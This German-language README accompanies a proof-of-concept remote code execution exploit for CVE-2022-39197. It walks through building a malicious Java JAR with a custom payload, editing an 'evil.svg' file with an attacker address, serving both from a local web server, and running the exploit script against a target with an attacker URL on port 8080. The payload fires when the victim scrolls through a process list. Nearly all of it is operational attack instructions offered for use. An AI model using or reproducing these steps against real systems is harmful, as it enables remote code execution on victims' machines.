CVE-2022-39197 RCE POC

Verwendung

• Payload vorbereiten

1. Bearbeiten Sie Zeile 19 mit Ihrem Payload in EvilJar/src/main/java/Exploit.java
2. Erstellen Sie mit jar: mvn clean compile assembly:single
3. Verschieben Sie EvilJar-1.0-jar-with-dependencies.jar aus EvilJar/target/ in den Ordner serve/
4. Bearbeiten Sie serve\evil.svg und ersetzen Sie [attacker]
5. Bereitstellen mit python3 -m http.server 8080

• Exploit ausführen

python3 cve-2022-39197.py beacon.exe http://10.10.10.2:8080/evil.svg

Der Payload wird ausgelöst, sobald der Benutzer durch die Prozessliste scrollt.

POC.JPG?

Referenzlinks

https://mp.weixin.qq.com/s/Eb0pQ-1ebLSKPUFC7zS6dg — Es gibt eine großartige detaillierte Analyse dieser Sicherheitslücke https://www.agarri.fr/blog/archives/2012/05/11/svg_files_and_java_code_execution/index.html